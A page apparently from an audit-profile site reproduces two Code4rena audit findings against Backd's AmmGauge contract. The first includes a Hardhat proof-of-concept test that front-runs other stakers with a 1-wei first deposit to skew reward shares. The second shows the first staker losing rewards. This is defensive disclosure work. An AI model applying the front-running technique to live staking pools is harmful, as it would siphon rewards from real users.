Backd Tokenomics contest - 0xNineDec's results

Maximize the power of your assets and start earning yield

General Information

Platform: Code4rena

Start Date: 27/05/2022

Pot Size: $75,000 USDC

Total HM: 20

Participants: 58

Period: 7 days

Judge: GalloDaSballo

Total Solo HM: 15

Id: 131

League: ETH

Backd

Findings Distribution

Researcher Performance

Rank: 6/58

Findings: 2

Award: $5,465.06

🌟 Selected for report: 2

πŸš€ Solo Findings: 2

Findings Information

🌟 Selected for report: 0xNineDec

Labels

bug
2 (Med Risk)
disagree with severity
sponsor confirmed

Awards

2732.5332 USDC - $2,732.53

External Links

Lines of code

https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L147 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L154

Vulnerability details

Impact

The first staker can take control of how the subsequent shares are going to be distributed by simply staking 1wei amount of the token and frontrunning future stakers. The reasons of this are related on how the variables are updated and with the amounts that the Gauge allows users to stake (anything but zero). The origin of this vulnerability relies on the evaluation of the totalStaked variable on its inception.

Proof of Concept

To illustrate this attack an environment of testing was made in order to track the token flows and how the variables are being updated and read.

The initial or border conditions taken into account are the same as the used by the team to perform the tests and just a few assumptions and simplifications were taken.

  1. The inflation rate is fixed for simplicity (0.001). This is valid within a short period of time because it is not a function of how the tokens are distributed or their flows. By tracking how the inflation rate is calculated an updated, we see that it is managed by the currentInflationAmountAmm within the Minter.sol contract, which value is modified by _executeInflationRateUpdate() three lines below the last code permalink. Its value depends on non-token balance related parameters (such as inflation decays and annual rates).
  2. For the testing environment performed by the team, a DummyERC20 was used as testing token. The same is done on the exploit environment.
  3. The controller is not used because it is used to retrieve the inflation rate and it is now fixed because of 1).

Each user state is updated whenever he calls either stake, unstake or claimRewards.

Steps:

  • Alice is the first staker and deposits 1wei worth of DummyERC20.
  • Bob takes one day to find out this new protocol and decides to stake 10 ETH amount of tokens (10 * 10**decimals()).
  • Alice, who was scanning the mempool, frontruns Bob with the same amount he was willing to stake. Her txn is mined first.
  • Then Bobs' transaction is mined for the 10 ETH worth.
  • Sometime after this, the pool is checkpointed.
  • A few days pass, and Bob wants to stake even more tokens. The same amount as before.
  • Alice frontruns him again updating her shares.
  • Bobs' transaction is mined and his shares are also updated.
  • The pool is checkpointed again. And Alice managed to increase considerably her amount of shares.

Both cases were evaluated (with and without staking 1 wei first). The attack scenario outputs a 100% more shares to Alice than Bob in comparison with the ethical/non-attack situation.

The code used to perform this test is the following:

it("First Depositer Exploit", async function () { let userShares = [] let userIntegral = [] let userBalance = [] let globalIntegral, totalStaked; let aliceBob = [alice, bob]; // Starting Checkpoint await this.ammgauge.poolCheckpoint(); await ethers.provider.send("evm_increaseTime", [1 * 24 * 60 * 60]); // 10 days const updateStates = async () => { userShares = [] userIntegral = [] userBalance = [] for (const user of aliceBob) { let balances = ethers.utils.formatEther(await this.ammgauge.balances(user.address)); let currentShare = ethers.utils.formatEther(await this.ammgauge.perUserShare(user.address)); let currentStakedIntegral = ethers.utils.formatEther(await this.ammgauge.perUserStakedIntegral(user.address)); userShares.push(currentShare); userIntegral.push(currentStakedIntegral); userBalance.push(balances); } globalIntegral = await this.ammgauge.ammStakedIntegral() totalStaked = await this.ammgauge.totalStaked() console.log(" ") console.log(" ALICE / BOB"); console.log(`Shares: ${userShares}`); console.log(`Integr: ${userIntegral}`); console.log(`Balanc: ${userBalance}`); console.log(" ") console.log("Global") console.log(`Integral: ${ethers.utils.formatEther(globalIntegral)}, TotalStaked: ${ethers.utils.formatEther(totalStaked)}`) } const stake = async (to, amount) => { await updateStates() console.log(" ") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).stake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.add(amount)); // await updateStates(); console.log(" ") } const unstake = async (to, amount) => { await updateStates() console.log(" ") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).unstake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.sub(amount)); await updateStates(); console.log(" ") } // HERE IS WHERE THE SIMULATION IS PERFORMED let simulationTimes = 2; let withOneWeiDeposit = true; if (withOneWeiDeposit) { // Alice deposits first console.log("Alice Deposits 1wei") let firstUserDeposit = ethers.utils.parseEther("1"); await stake(alice, 1); } for (let index = 1; index <= simulationTimes; index++) { console.log(" ") console.log(`Loop number ${index}`); console.log(" ") console.log("A day passes until Bob decides to deposit") await ethers.provider.send("evm_increaseTime", [1 * 24 * 60 * 60]); // 1 days console.log(" ") console.log("She scans that Bob is about to stake 10. So decides to frontrun him.") console.log("Alice Frontruns") let frontrunAmount = ethers.utils.parseEther("10"); await stake(alice, frontrunAmount); console.log(" ") console.log("Bob stakes 10 tokens") await stake(bob, frontrunAmount) // A few days pass await ethers.provider.send("evm_increaseTime", [1 * 24 * 60 * 60]); // 2 days // The pool is checkpointed await this.ammgauge.poolCheckpoint(); console.log("After 1 day the pool is checkpointed") await updateStates() } })

The simulation was both made for the attacked and non attacked situations. The values that are shown represent how the contract updates them (the totalStaked variable is 0 when first Alice calls the stake function after _userCheckpoint() rans)

WITH 1WEI STAKE (ATTACK)

timeSituationtotalStakedAlice SharesBob Shares
0-First poolCheckpoint000
0+Alice Deposits 1wei000
1Alice frontruns Bob @ 10eth1wei00
2Bob 10eth txn is mined10eth + 1wei86.40
31 day later poolCheckpoint() is called20eth + 1 wei86.40
4Alice frontruns Bob again20eth + 1 wei86.40
5Bob 10eth txn is mined30eth + 1wei172.80
61 day later poolCheckpoint() is called40eth + 1wei172.886.4

WITHOUT THE 1WEI STAKE (No "first staker hijack")

timeSituationtotalStakedAlice SharesBob Shares
0-First poolCheckpoint000
0+Alice stakes 10eth000
1Bob stakes 10eth10eth00
21 day later poolCheckpoint() is called20eth00
3Alice stakes 10eth20eth00
4Bob stakes 10eth30eth86.40
51 day later poolCheckpoint() is called40eth86.486.4

Further evaluation on how the variables are updated and how does the Integral (both each users and global one) is calculated on the pool inception is needed to patch this issue.

#0 - GalloDaSballo

2022-06-19T14:47:52Z

The warden has identified a way for the rewardsShares to be improperly assigned.

The exploit is based on the fact that if totalStaked is zero we effectively will skip the first loop of points.

This can create situations where certain users are rewarded unfairly in comparison to their initial deposit.

However, this only applies when we go from zero to non-zero for totalStaked henced the scenario proposed by the warden (1 day of free rewards for first depositor) is actually the worst case scenario.

Having the deployer do 2 or 3 initial deposits should mitigate this attack, which ultimately is limited to a leak of value to the first user depositing.

For those reasons, I believe the finding to be valid and of Medium Severity

Findings Information

🌟 Selected for report: 0xNineDec

Labels

bug
2 (Med Risk)
disagree with severity
sponsor confirmed

Awards

2732.5332 USDC - $2,732.53

External Links

Lines of code

https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L56 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L140

Vulnerability details

Impact

The first staker within the AmmGauge may not get the rewards if the pool is not checkpointed right after he stakes and before he wants to claim the rewards.

Proof of Concept

A testing environment that reproduces how the protocol is going to be deployed and managed is used to evaluate this case under the following assumptions and simplifications.

  1. The inflation rate is fixed for simplicity (0.001).
  2. For the testing environment performed by the team, a DummyERC20 was used as testing token. The same is done on the exploit environment.
  3. The minting of tokens impact both on the inflation calculation and their balance. But this test evaluates the states just before minting (claimable balances). Following how the pools are updated, they are checkpointed in the end of the _executeInflationRateUpdate call. Not while staking.

In order to illustrate this scenario we will show both the vulnerable and non vulnerable situations.

Vulnerable Situation:

  1. Alice, Bob, Charlie and David are future users of the pool. They all notice the inception of this project and decide to stake.
  2. They all stake the same amount. Their transactions are mined with 1min of difference starting from Alice and finishing with David.
  3. There is no external pool checkpoint between Alice and Bob (besides the one that is triggered when Bob stakes).
  4. Sometime happens and they all want to check their accumulated reward balance. Alice accumulated much less than the others.

Non Vulnerable Situation:

  • The same as before but calling externally _poolCheckpoint() between Alice stake call and Bobs' and before checking the accumulated rewards.

The code to show this has a secureCheckpoints toggle that can be set as true or false to trigger (or not) the intermediate poolCheckpoints.

it('First Staker Rewards Calculation', async function () { let secureCheckpoints = false; let currentShare, currentStakedIntegral, balances; await this.ammgauge.poolCheckpoint(); await ethers.provider.send("evm_increaseTime", [1 * 24 * 60 * 60]); // 10 days const updateStates = async (from) => { currentShare = await this.ammgauge.perUserShare(from.address); currentStakedIntegral = await this.ammgauge.perUserStakedIntegral(from.address); balances = await this.ammgauge.balances(from.address); } const stake = async (to, amount) => { await updateStates(to) console.log(" ") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).stake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.add(amount)); await updateStates(to); console.log(" ") } const unstake = async (to, amount) => { await updateStates(to) console.log(" ") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).unstake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.sub(amount)); await updateStates(to); console.log(" ") } // Each user stakes tokens let initialStaking = ethers.utils.parseEther("10") console.log(" ") console.log("USERS STAKE"); for (const user of users) { await stake(user, initialStaking) if(secureCheckpoints){await this.ammgauge.poolCheckpoint()}; await ethers.provider.send("evm_increaseTime", [60 * 60]); // 1hr between stakes } console.log(" ") await ethers.provider.send("evm_increaseTime", [ 5 * 24 * 60 * 60]); // 5 days if(secureCheckpoints){await this.ammgauge.poolCheckpoint()}; let claimableRewards = []; let claimedRewards = []; console.log(" ") console.log("USERS CLAIMABLE REWARDS AFTER 5 days"); console.log(" ") for (const user of users) { let stepClaimable = await this.ammgauge.claimableRewards(user.address); claimableRewards.push(ethers.utils.formatEther(stepClaimable)) let rewardsClaim = await (await this.ammgauge.claimRewards(user.address)).wait() claimedRewards.push(ethers.utils.formatEther(rewardsClaim.logs[0]["data"])) } console.log("Claimable calculated") console.log(" ALICE - BOB - CHARLIE - DAVID") console.log(claimableRewards) console.log(" ") console.log("Effectively Claimed") console.log(" ALICE - BOB - CHARLIE - DAVID") console.log(claimableRewards) })

The outputs for both cases are shown on the following chart. The initial staking amount is 10eth amount of the DummyERC20 token.

Without CheckpointsWith Checkpoints
Alice6.6115.5
Bob111.9111.9
Charlie110.1110.1
David108.9108.9
  • Check how is calculated the staking variables while the pool has no tokens staked and also how the updates and checkpoints are performed.

#0 - chase-manning

2022-06-07T13:02:11Z

This can only impact one user and only in an edge case so should be Medium severity.

#1 - GalloDaSballo

2022-06-19T14:55:15Z

The warden has shown how the first depositor may end up not getting the correct amount of points due to how zero is handled in poolCheckpoint

Am not fully confident this should be kept separate from #100

However at this time, I believe the finding to be of Medium Severity

#2 - GalloDaSballo

2022-07-01T16:37:29Z

At this time, while the underlying solution may be the same, I believe this finding and #100 to be distinct

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter